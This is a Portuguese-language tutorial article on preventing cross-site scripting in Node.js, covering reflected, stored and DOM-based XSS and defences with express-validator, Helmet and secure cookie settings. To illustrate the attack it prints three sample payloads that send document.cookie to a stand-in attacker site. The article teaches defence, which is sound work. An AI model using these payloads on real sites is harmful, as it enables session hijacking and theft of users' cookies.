Prevenção de Cross-site Scripting em Node.js

Prevenção de Cross-site Scripting em Node.js

Imagino que a grande maioria das pessoas desenvolvedoras, como eu, entendem a importância da segurança das aplicações, mas, infelizmente, pouco se fala sobre o assunto. Nós temos um papel fundamental na sua defesa cibernética, visto que é possível mitigar vulnerabilidades que são responsáveis por grande parte dos ataques a aplicações web.

De acordo com a Parachute, o cyber crime custa à economia global certa de 1 trilhão de dólares. O custo médio de uma violação de dados em 2021 foi de US$ 4,24 milhões. E é importante destacar que empresas com estratégias eficientes de prevenção de ataques cibernéticos podem economizar até US$ 1,4 milhão para cada ataque evitado.

Então, é por isso que, neste artigo, gostaria de apresentar a vocês o que é a vulnerabilidade Cross-site Scripting, também conhecida como XSS, como ela funciona, qual é o seu impacto e, finalmente, como nós podemos evitar esse tipo de injeção de código em aplicações desenvolvidas em Node.js.

O que é XSS?

O XSS é uma vulnerabilidade que permite ataque a uma aplicação web realizado através de injeção de código malicioso. Está na lista OWASP TOP 10 como um dos mais críticos riscos de segurança em aplicações web. O ataque permite que um invasor comprometa interações de usuários reais que consideram o site confiável.

Também aparece em segundo lugar na lista 2021 CWE Top 25 Most Dangerous Software Weaknesses que é uma lista das mais comuns e impactantes vulnerabilidades de software ocorridas nos dois últimos anos.

Outro relatório importante é o Edgescan 2021 Vulnerability Statistics Report, que apresenta o XSS como sendo responsável por 18,20% das ocorrências de risco crítico descobertas em 2020, perdendo apenas para o SQL Injection. Também aparece em primeiro lugar com 37,20% das ocorrências de risco alto e novamente no topo das ocorrências de risco médio com 37,20%.

Podemos perceber, então, que impedir a exploração dessa vulnerabilidade é algo que merece nossa atenção, já que há grande risco de comprometer dados ou serviços de nossas aplicações.

Como o XSS funciona?

Quando o código malicioso é executado, o atacante rouba dados importantes do usuário como cookies, tokens etc. e rouba dados de acesso registrados no navegador web do usuário. O script entre sites manipula o site para que ele retorne Javascript malicioso para o usuário.

Isso pode ser explorado de algumas formas:

  • XSS Refletido: esse é o tipo mais comum e é quando o script malicioso vem da própria solicitação HTTP, ou seja, o usuário é enganado para executar o código que pode vir de um link falso de esquema de phishing, por exemplo. Os métodos de engenharia social são infinitos. Ao acionar o servidor por meio deste link, o script será refletido e executado no navegador.

    Exemplo:

    
    http://sitereal.com/search?q=<script>window.location='http://sitedoatacante.com/?cookie='+document.cookie</script>
    
    

    Quando a vítima acessa esse link, ela é redirecionada para a falsa aplicação que envia seus cookies para o atacante sem nem ao menos perceber que isso aconteceu.

  • XSS Persistente: também conhecido como XSS Armazenado, o script malicioso já está alojado de forma permanente no servidor, então, o usuário pode acionar o payload apenas navegando pelo site contaminado. Por exemplo, o payload malicioso pode estar armazenado no campo de comentário de um site, que será acionado quando for clicado.

    Exemplo:

    
    <script> window.location='http://sitedoatacante.com/?cookie=' + document.cookie </script>
    
    

    Sempre que os usuários acessarem a página, esse código vai ser executado e vai enviar os cookies para o atacante.

  • XSS Baseado em DOM: a vulnerabilidade explora o Document Object Model (DOM) que é a interface que define a leitura de HTML e XML. Essa vulnerabilidade existe do lado do cliente portanto não há necessidade de interação com o servidor para performar o ataque. É semelhante ao XSS Refletido já que depende que o usuário clique num link malicioso.

    Exemplo:

    
    http://sitereal.com/dashboard.html?default=<script>window.location='http://sitedoatacante.com/?cookie='+document.cookie</script>
    
    

Não importa a forma, o atacante tem acesso à identidade digital do usuário e pode ver e fazer tudo aquilo que o usuário legítimo poderia em sua sessão. O servidor acredita que as solicitações realizadas são válidas.

Como prevenir XSS em aplicações Node.js?

Para mitigar este tipo de ataque é importante reduzir ao máximo a quantidade de inputs não confiáveis de usuário e garantir políticas robustas contra scripts executados no site.

Vamos a algumas ações que podemos ter no desenvolvimento da aplicação:

Validação e Sanitização:

Podemos começar com a validação e sanitização dos dados, ou seja, todas as requisições devem checar se os dados enviados pelo usuário estão no formato correto e filtrá-los para que sejam enviados como dado e não como código.

Existem algumas bibliotecas que realizam validação e sanitização e se sua aplicação Node.js utiliza o Express, é possível utilizar a Express-Validator. Ela reúne um conjunto de middlewares que validam os dados antes de serem efetivamente persistidos no banco de dados.

Exemplo:

const express = require('express');
const { body, validationResult } = require('express-validator');

app.post(
    '/user',
    // username precisa ser um e-mail
    body('username').isEmail(),
    // password precisa ter pelo menos 5 caracteres
    body('password').isLength({ min: 5 }),
    (req, res) => {
        const errors = validationResult(req);
        if (!errors.isEmpty()) {
            return res.status(400).json({ errors: errors.array() });
        }

        User.create({
            username: req.body.username,
            password: req.body.password,
        }).then(user => res.json(user));
    }
); 

O Express-Validator também possibilita a sanitização dos dados da request, removendo caracteres que poderiam deixar o input vulnerável:

const express = require('express');
const { body, validationResult } = require('express-validator');

const app = express();
app.use(express.json());

app.post(
    '/comment',
    body('email').isEmail().normalizeEmail(),
    body('text').not().isEmpty().trim().escape(),
    body('notifyOnReply').toBoolean(),
    (req, res) => {
        const errors = validationResult(req);
        if (!errors.isEmpty()) {
            return res.status(400).json({ errors: errors.array() });
        }

        Comment.create({
          email: req.body.email,
          text: req.body.text,
          notifyOnReply: req.body.notifyOnReply,
        }).then(comment => res.json(comment));
        }
);

Você pode saber mais sobre os métodos de sanitização do Express-Validator aqui.

Utilizando essas ferramentas, garantimos que o input enviado na requisição seja de fato aquele que o servidor está preparado para receber.

Configuração segura de cabeçalhos HTTP:

Outro middleware do Express é o Helmet que tem como objetivo inserir mais uma camada de segurança na aplicação com a configuração adequada de cabeçalhos.

Utilização:


const express = require('express');
const helmet = require('helmet');

const app = express();

app.use(helmet());

// ...

Algumas funções de middlewares do Helmet são importantes para combater a vulnerabilidade XSS como helmet.contentSecurityPolicy(options) que configura o cabeçalho Content-Security-Policy (CSP). Ele fornece uma lista de recursos confiáveis no qual o navegador pode confiar e, com isso, é possível impedir a execução de um código malicioso.

Além dessa função, temos a helmet.xssFilter() que configura o X-XSS-Protection para ativar o filtro de Cross-site Scripting nos navegadores da web mais recentes.

Opções de segurança de cookies:

Como o roubo de cookies é um dos mais comuns ataques XSS, uma boa maneira de mitigar esse risco é evitando que os cookies sejam acessados pelo browser com código JavaScript e somente através de requisição HTTP(S). Isso pode ser feito com as flags httpOnly e secure configuradas como true:

app.use(express.session({
    secret: 'MY_SECRET',
    cookie: {
        httpOnly: true,
        secure: true
    }
})
);

É importante também não utilizar o cookie de sessão padrão e assegurar que o cookie tenha um tempo de expiração. O middleware cookie-session nos ajuda a configurar as opções de cookies:

var session = require('cookie-session');
var express = require('express');
var app = express();

var expiryDate = new Date(Date.now() + 60 * 60 * 1000); // 1 hora
app.use(session({
    name: 'session',
    keys: ['key1', 'key2'],
    cookie: { 
        secure: true,
        httpOnly: true,
        domain: 'example.com',
        path: 'foo/bar',
        expires: expiryDate
    }
}));

Conclusão:

Para que uma aplicação web seja segura, a pessoa desenvolvedora desempenha um papel importantíssimo para mitigar riscos como a vulnerabilidade XSS.

Com algumas configurações simples de serem implementadas e a utilização de bibliotecas focadas em segurança podemos diminuir substancialmente ataques bem-sucedidos e todo o impacto negativo que eles causam.

Se quiser acessar o repositório que criei com o código apresentado, clique aqui ;)